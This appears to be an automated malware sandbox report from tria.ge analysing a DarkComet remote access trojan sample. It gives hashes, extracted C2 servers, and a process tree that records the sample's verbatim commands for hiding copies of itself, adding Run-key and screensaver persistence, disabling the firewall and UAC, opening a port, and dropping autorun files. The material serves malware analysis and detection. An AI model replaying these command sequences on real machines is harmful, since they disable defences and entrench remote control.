Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

JaffaCakes...23.exe

windows7-x64

10

JaffaCakes...23.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21/03/2025, 15:31

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    JaffaCakes118_83c698151d075740628ae7d8aaf39023.exe

  • Size

    938KB

  • MD5

    83c698151d075740628ae7d8aaf39023

  • SHA1

    f4725174c66a837870f74222b7cc4fa19160731b

  • SHA256

    1d34ccc414f59436188e5c8a29963e16b0913b1f148c4f51eafe6ae23176ea55

  • SHA512

    7a970cc742bb5103c4b7296b6f9ac11ee3870be5a8bebba75ebd2d7a0403dacbf5723b3e13bdd7dd40d628c00678feaf5f86b2a5cbe3d947cbcd23c3fa5bb04d

  • SSDEEP

    24576:2FTqADbP4qXsZejCxQZPUQz/neABpcIssX0viImQG:ETvgqcZnQRUQbeAvcIhGi

Score
10/10
darkcomettonkmandefense_evasiondiscoverypersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Family

darkcomet

Attributes
  • gencode

  • install

    false

  • offline_keylogger

    false

  • persistence

    false

rc4.plain

Extracted

Family

darkcomet

Botnet

Tonkman

C2

iiili.in:5300

iiili.in:5310

iiili.in:5320

iiili.in:5330

iiili.in:5340

iiili.in:5350

iiili.in:5360

iiili.in:5370

iiili.in:5380

iiili.in:5390

illiil.in:5300

illiil.in:5310

illiil.in:5320

illiil.in:5330

illiil.in:5340

illiil.in:5350

illiil.in:5360

illiil.in:5370

illiil.in:5380

illiil.in:5390
Mutex

BugTestingReporter

Attributes
  • gencode

    5d7taAMln2CM

  • install

    false

  • offline_keylogger

    true

  • persistence

    false

rc4.plain

Signatures

  • Darkcomet

    DarkComet is a remote access trojan (RAT) developed by Jean-Pierre Lesueur.

    trojanratdarkcomet
  • Darkcomet family
    darkcomet
  • Modifies firewall policy service 3 TTPs 2 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 1 IoCs
    defense_evasiontrojan
  • Modifies Windows Firewall 2 TTPs 6 IoCs
    defense_evasion
  • Sets file to hidden 1 TTPs 11 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Uses the VBS compiler for execution 1 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops desktop.ini file(s) 7 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops autorun.inf file 1 TTPs 6 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 18 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Control Panel 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 14 IoCs
    adwarespyware
  • Modifies registry class 8 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 18 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_83c698151d075740628ae7d8aaf39023.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_83c698151d075740628ae7d8aaf39023.exe"
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops autorun.inf file
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Checks processor information in registry
    • Modifies Control Panel
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2156
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\nvidgfx.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Windows\SysWOW64\attrib.exe
        attrib -R -H -S "C:\Users\Admin\AppData\Roaming\nvidgfx.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:2816
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "%temp%\nvidgfx.exe" "%appdata%\nvidgfx.exe"
      2⤵
        PID:2752
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\nvidgfx.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\SysWOW64\attrib.exe
          attrib +R +H +S "C:\Users\Admin\AppData\Roaming\nvidgfx.exe"
          3⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2228
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "nvidgfx" /t REG_SZ /d "%appdata%\nvidgfx.exe" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2568
        • C:\Windows\SysWOW64\reg.exe
          reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "nvidgfx" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\nvidgfx.exe" /f
          3⤵
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          PID:2584
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\atlsyn.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1924
        • C:\Windows\SysWOW64\attrib.exe
          attrib -R -H -S "C:\Windows\system32\atlsyn.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2756
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c copy /y "%temp%\nvidgfx.exe" "%windir%\system32\atlsyn.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2572
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\atlsyn.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2632
        • C:\Windows\SysWOW64\attrib.exe
          attrib +R +H +S "C:\Windows\system32\atlsyn.exe"
          3⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1360
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
        2⤵
          PID:2684
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\spacedots.scr"
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2000
          • C:\Windows\SysWOW64\attrib.exe
            attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\spacedots.scr"
            3⤵
            • Views/modifies file attributes
            PID:2440
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c copy /y "%temp%\nvidgfx.exe" "%appdata%\Microsoft\Windows\spacedots.scr"
          2⤵
          • System Location Discovery: System Language Discovery
          PID:920
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\spacedots.scr"
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2092
          • C:\Windows\SysWOW64\attrib.exe
            attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\spacedots.scr"
            3⤵
            • Sets file to hidden
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:1804
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\spacedots.scr" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1632
          • C:\Windows\SysWOW64\reg.exe
            reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\spacedots.scr" /f
            3⤵
              PID:2860
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1048
            • C:\Windows\SysWOW64\reg.exe
              reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2436
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2316
            • C:\Windows\SysWOW64\reg.exe
              reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1780
          • C:\Users\Admin\AppData\Roaming\errorreporter.exe
            "C:\Users\Admin\AppData\Roaming\errorreporter.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:696
            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
              C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
              3⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:2388
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /k attrib "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" +s +h
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2336
                • C:\Windows\SysWOW64\attrib.exe
                  attrib "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" +s +h
                  5⤵
                  • Sets file to hidden
                  • Drops file in Windows directory
                  • Views/modifies file attributes
                  PID:1772
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /k attrib "C:\Windows\Microsoft.NET\Framework\v2.0.50727" +s +h
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2360
                • C:\Windows\SysWOW64\attrib.exe
                  attrib "C:\Windows\Microsoft.NET\Framework\v2.0.50727" +s +h
                  5⤵
                  • Sets file to hidden
                  • Drops file in Windows directory
                  • Views/modifies file attributes
                  PID:1600
              • C:\Windows\SysWOW64\notepad.exe
                notepad
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1860
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg ADD "HKCR\.zip\ShellNew" /v "FileName" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\newzip.dat" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1364
            • C:\Windows\SysWOW64\reg.exe
              reg ADD "HKCR\.zip\ShellNew" /v "FileName" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\newzip.dat" /f
              3⤵
              • Modifies registry class
              PID:1480
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg ADD "HKCR\.zip\CompressedFolder\ShellNew" /v "FileName" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\newzip.dat" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1724
            • C:\Windows\SysWOW64\reg.exe
              reg ADD "HKCR\.zip\CompressedFolder\ShellNew" /v "FileName" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\newzip.dat" /f
              3⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:568
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg ADD "HKCR\.rar\ShellNew" /v "FileName" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\newzip.dat" /f
            2⤵
              PID:2648
              • C:\Windows\SysWOW64\reg.exe
                reg ADD "HKCR\.rar\ShellNew" /v "FileName" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\newzip.dat" /f
                3⤵
                • Modifies registry class
                PID:1532
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Roaming\plugininstall.bat" "
              2⤵
              • System Location Discovery: System Language Discovery
              PID:2120
              • C:\Windows\SysWOW64\netsh.exe
                netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_83c698151d075740628ae7d8aaf39023.exe" "winhttpsvc" ENABLE
                3⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:1756
              • C:\Windows\SysWOW64\netsh.exe
                netsh advfirewall firewall add rule name="winhttpsvc" profile=public dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_83c698151d075740628ae7d8aaf39023.exe" enable=yes
                3⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:1492
              • C:\Windows\SysWOW64\netsh.exe
                netsh firewall add portopening TCP 5220 "Open Port 5220"
                3⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:2516
              • C:\Windows\SysWOW64\netsh.exe
                netsh advfirewall firewall add rule name="Open Port 5220" profile=public dir=in action=allow protocol=TCP localport=5220
                3⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:2464
              • C:\Windows\SysWOW64\netsh.exe
                netsh advfirewall set currentprofile state off
                3⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:2488
              • C:\Windows\SysWOW64\netsh.exe
                netsh firewall set opmode DISABLE
                3⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:1944
              • C:\Windows\SysWOW64\sc.exe
                sc config upnphost start= auto
                3⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2972
              • C:\Windows\SysWOW64\sc.exe
                sc config SSDPSRV start= auto
                3⤵
                • Launches sc.exe
                PID:2344
              • C:\Windows\SysWOW64\sc.exe
                sc config browser start= auto
                3⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:716
              • C:\Windows\SysWOW64\net.exe
                net start seclogon
                3⤵
                • System Location Discovery: System Language Discovery
                PID:1012
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start seclogon
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:1800
              • C:\Windows\SysWOW64\net.exe
                net start upnphost
                3⤵
                • System Location Discovery: System Language Discovery
                PID:1036
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start upnphost
                  4⤵
                    PID:1748
                • C:\Windows\SysWOW64\net.exe
                  net start SSDPSRV
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:1576
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start SSDPSRV
                    4⤵
                      PID:1680
                  • C:\Windows\SysWOW64\net.exe
                    net start browser
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:2780
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 start browser
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:2980
                  • C:\Windows\SysWOW64\reg.exe
                    reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:2776
                  • C:\Windows\SysWOW64\reg.exe
                    reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
                    3⤵
                      PID:2772
                    • C:\Windows\SysWOW64\reg.exe
                      reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
                      3⤵
                      • UAC bypass
                      • System Location Discovery: System Language Discovery
                      PID:2788
                    • C:\Windows\SysWOW64\reg.exe
                      reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
                      3⤵
                      • Modifies firewall policy service
                      • System Location Discovery: System Language Discovery
                      PID:2968
                    • C:\Windows\SysWOW64\reg.exe
                      reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:2752
                    • C:\Windows\SysWOW64\reg.exe
                      reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
                      3⤵
                        PID:2720
                      • C:\Windows\SysWOW64\reg.exe
                        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
                        3⤵
                        • System Location Discovery: System Language Discovery
                        • Modifies Internet Explorer settings
                        PID:2724
                      • C:\Windows\SysWOW64\reg.exe
                        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
                        3⤵
                        • System Location Discovery: System Language Discovery
                        • Modifies Internet Explorer settings
                        PID:2596
                      • C:\Windows\SysWOW64\reg.exe
                        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
                        3⤵
                        • System Location Discovery: System Language Discovery
                        • Modifies Internet Explorer settings
                        PID:2228
                      • C:\Windows\SysWOW64\reg.exe
                        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
                        3⤵
                        • Modifies Internet Explorer settings
                        PID:2696
                      • C:\Windows\SysWOW64\reg.exe
                        reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
                        3⤵
                        • System Location Discovery: System Language Discovery
                        • Modifies Internet Explorer settings
                        PID:2872
                      • C:\Windows\SysWOW64\reg.exe
                        reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:2944
                      • C:\Windows\SysWOW64\reg.exe
                        reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:2832
                      • C:\Windows\SysWOW64\reg.exe
                        reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
                        3⤵
                        • Modifies Internet Explorer settings
                        PID:2568
                      • C:\Windows\SysWOW64\reg.exe
                        reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
                        3⤵
                        • Modifies Internet Explorer settings
                        PID:2828
                    • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
                      "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
                      2⤵
                      • Drops desktop.ini file(s)
                      • Enumerates connected drives
                      • System Location Discovery: System Language Discovery
                      • Modifies registry class
                      PID:2820
                    • C:\Windows\SysWOW64\notepad.exe
                      "C:\Windows\System32\notepad.exe"
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:328
                    • C:\Windows\SysWOW64\rundll32.exe
                      "C:\Windows\System32\rundll32.exe"
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:2344
                    • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
                      "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:2104
                    • C:\Windows\SysWOW64\notepad.exe
                      "C:\Windows\System32\notepad.exe"
                      2⤵
                        PID:908
                      • C:\Windows\SysWOW64\rundll32.exe
                        "C:\Windows\System32\rundll32.exe"
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:1512
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
                        2⤵
                          PID:2540
                          • C:\Windows\SysWOW64\attrib.exe
                            attrib +R +H "F:\autorun.inf"
                            3⤵
                            • Sets file to hidden
                            • Drops autorun.inf file
                            • Views/modifies file attributes
                            PID:1736
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:1248
                          • C:\Windows\SysWOW64\attrib.exe
                            attrib +R +H "C:\autorun.inf"
                            3⤵
                            • Sets file to hidden
                            • Drops autorun.inf file
                            • System Location Discovery: System Language Discovery
                            • Views/modifies file attributes
                            PID:2972
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
                          2⤵
                            PID:536
                            • C:\Windows\SysWOW64\attrib.exe
                              attrib -R -H "F:\protect.bat"
                              3⤵
                              • System Location Discovery: System Language Discovery
                              • Views/modifies file attributes
                              PID:1036
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
                            2⤵
                              PID:1616
                              • C:\Windows\SysWOW64\attrib.exe
                                attrib -R -H "C:\protect.bat"
                                3⤵
                                • System Location Discovery: System Language Discovery
                                • Views/modifies file attributes
                                PID:2712
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\nvidgfx.exe"
                              2⤵
                                PID:2672
                                • C:\Windows\SysWOW64\attrib.exe
                                  attrib -S -R -H "C:\Users\Admin\AppData\Roaming\nvidgfx.exe"
                                  3⤵
                                  • Views/modifies file attributes
                                  PID:2584
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\nvidgfx.exe"
                                2⤵
                                  PID:1932
                                  • C:\Windows\SysWOW64\attrib.exe
                                    attrib -S -R -H "C:\Users\Admin\AppData\Roaming\nvidgfx.exe"
                                    3⤵
                                    • Views/modifies file attributes
                                    PID:2588
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\nvidgfx.exe" "C:\protect.bat"
                                  2⤵
                                    PID:2680
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\nvidgfx.exe" "F:\protect.bat"
                                    2⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2740
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\nvidgfx.exe"
                                    2⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:592
                                    • C:\Windows\SysWOW64\attrib.exe
                                      attrib +S +R +H "C:\Users\Admin\AppData\Roaming\nvidgfx.exe"
                                      3⤵
                                      • Sets file to hidden
                                      • System Location Discovery: System Language Discovery
                                      • Views/modifies file attributes
                                      PID:2344
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\nvidgfx.exe"
                                    2⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2080
                                    • C:\Windows\SysWOW64\attrib.exe
                                      attrib +S +R +H "C:\Users\Admin\AppData\Roaming\nvidgfx.exe"
                                      3⤵
                                      • Sets file to hidden
                                      • Views/modifies file attributes
                                      PID:2844
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
                                    2⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1716
                                    • C:\Windows\SysWOW64\attrib.exe
                                      attrib +R +H "F:\protect.bat"
                                      3⤵
                                      • Sets file to hidden
                                      • Views/modifies file attributes
                                      PID:2528
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
                                    2⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2208
                                    • C:\Windows\SysWOW64\attrib.exe
                                      attrib +R +H "C:\protect.bat"
                                      3⤵
                                      • Sets file to hidden
                                      • Views/modifies file attributes
                                      PID:2544

                                Network

                                MITRE ATT&CK Enterprise v15

                                Reconnaissance

                                Resource Development

                                Initial Access

                                Replication Through Removable Media

                                1
                                T1091

                                Execution

                                Command and Scripting Interpreter

                                1
                                T1059

                                Persistence

                                Boot or Logon Autostart Execution

                                1
                                T1547

                                Registry Run Keys / Startup Folder

                                1
                                T1547.001

                                Create or Modify System Process

                                2
                                T1543

                                Windows Service

                                2
                                T1543.003

                                Event Triggered Execution

                                1
                                T1546

                                Netsh Helper DLL

                                1
                                T1546.007

                                Privilege Escalation

                                Abuse Elevation Control Mechanism

                                1
                                T1548

                                Bypass User Account Control

                                1
                                T1548.002

                                Boot or Logon Autostart Execution

                                1
                                T1547

                                Registry Run Keys / Startup Folder

                                1
                                T1547.001

                                Create or Modify System Process

                                2
                                T1543

                                Windows Service

                                2
                                T1543.003

                                Event Triggered Execution

                                1
                                T1546

                                Netsh Helper DLL

                                1
                                T1546.007

                                Defense Evasion

                                Abuse Elevation Control Mechanism

                                1
                                T1548

                                Bypass User Account Control

                                1
                                T1548.002

                                Hide Artifacts

                                2
                                T1564

                                Hidden Files and Directories

                                2
                                T1564.001

                                Impair Defenses

                                3
                                T1562

                                Disable or Modify System Firewall

                                2
                                T1562.004

                                Disable or Modify Tools

                                1
                                T1562.001

                                Modify Registry

                                4
                                T1112

                                Credential Access

                                Credentials from Password Stores

                                1
                                T1555

                                Credentials from Web Browsers

                                1
                                T1555.003

                                Unsecured Credentials

                                1
                                T1552

                                Credentials In Files

                                1
                                T1552.001

                                Discovery

                                Peripheral Device Discovery

                                1
                                T1120

                                Query Registry

                                2
                                T1012

                                System Information Discovery

                                3
                                T1082

                                System Location Discovery

                                1
                                T1614

                                System Language Discovery

                                1
                                T1614.001

                                Lateral Movement

                                Replication Through Removable Media

                                1
                                T1091

                                Collection

                                Data from Local System

                                1
                                T1005

                                Command and Control

                                Exfiltration

                                Impact

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Users\Admin\AppData\Roaming\errorreporter.exe
                                  Filesize

                                  692KB

                                  MD5

                                  479f8bcbe5729d18e3c42a9b4aeddfac

                                  SHA1

                                  dcb37fb7bc0c067c08b4d0b60163b00db59cc411

                                  SHA256

                                  7a8efe13b9e02f29c582541a9890282c1e1004b699463517b5ef1de898db8cd3

                                  SHA512

                                  2f980051619245d1eba473fd43bf4046b3a2504bdf053180b2ae65058faa0a097517111853261ff88da944ec520d659fb2ab0236f966056fb2e0158958e35888

                                  Download Submit

                                • C:\Users\Admin\AppData\Roaming\plugininstall.bat
                                  Filesize

                                  2KB

                                  MD5

                                  9592aa50bf0bfeefbc47eb4bdacfbaab

                                  SHA1

                                  21a7b9683f6f1374f5f785882a1c1bd05f392c9e

                                  SHA256

                                  7a6717ff7d2b63a879b504c0826ec8e3cf25d1616035c8fb70c7d0d932e74ed4

                                  SHA512

                                  bfa01bc5c62dbcb3be8f853ca1f1569600f07a3d54b9e19f93fc2353ad201486074c7b9372721e43fb39b0aa3403b010d31475e4d2de8e74fc9719eda3cbcf00

                                  Download Submit

                                • C:\autorun.inf
                                  Filesize

                                  63B

                                  MD5

                                  f64baf418f685884efec59a9d80bc5f6

                                  SHA1

                                  9c90f7a7efd7ef3059837fdeb06b6b781ca6d1e9

                                  SHA256

                                  4b9870b1f52e252451b3fa099e8b270c32ddc6fc29372067be28dcd009ec4e8f

                                  SHA512

                                  dceecd6a564c974c71ceeb544b0dfde70a09315db6d72a50fdbecdc0cf505a7ce52b7a83a9a8c79e8cfbb996c054585da6d7c08bf0026b4d9ecdde5f0a2b2a69

                                  Download Submit

                                • \Users\Admin\AppData\Roaming\auth.dll
                                  Filesize

                                  195KB

                                  MD5

                                  15b8f3be2d9a25def6093dc2d6e1c6b8

                                  SHA1

                                  d9adbe4762882de29e0c1dc4aeddf89016a7f94e

                                  SHA256

